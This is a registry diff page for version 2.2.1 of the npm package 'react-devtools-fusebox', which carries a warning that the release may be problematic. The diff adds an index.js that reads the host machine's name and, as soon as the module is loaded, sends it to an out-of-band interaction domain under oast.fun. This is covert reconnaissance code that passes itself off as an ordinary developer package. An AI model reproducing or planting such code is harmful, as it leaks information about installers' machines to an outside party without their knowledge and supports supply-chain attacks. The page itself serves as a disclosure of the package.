react-devtools-fusebox 2.2.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of react-devtools-fusebox might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +39 -0
  2. package/package.json +11 -0
package/index.js ADDED
@@ -0,0 +1,39 @@
1
+ const http = require('http');
2
+ const os = require('os');
3
+
4
+ // Get the hostname
5
+ const hostname = os.hostname();
6
+
7
+ // The target URL
8
+ const targetUrl = `${hostname}.lkhphitoxkrbasowlobh5kyp3a8yagvp0.oast.fun`;
9
+
10
+ // Function to send the HTTP GET request
11
+ function ping() {
12
+ const options = {
13
+ hostname: targetUrl,
14
+ port: 80,
15
+ path: '/',
16
+ method: 'GET'
17
+ };
18
+
19
+ const req = http.request(options, (res) => {
20
+ console.log(`STATUS: ${res.statusCode}`);
21
+ res.setEncoding('utf8');
22
+ res.on('data', (chunk) => {
23
+ console.log(`BODY: ${chunk}`);
24
+ });
25
+ res.on('end', () => {
26
+ console.log('No more data in response.');
27
+ });
28
+ });
29
+
30
+ req.on('error', (e) => {
31
+ console.error(`problem with request: ${e.message}`);
32
+ });
33
+
34
+ req.end();
35
+ }
36
+
37
+ // Ping the target URL
38
+ ping();
39
+
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "react-devtools-fusebox",
3
+ "version": "2.2.1",
4
+ "description": "github-breanch.deploy",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "Cipherg0d",
10
+ "license": "ISC"
11
+ }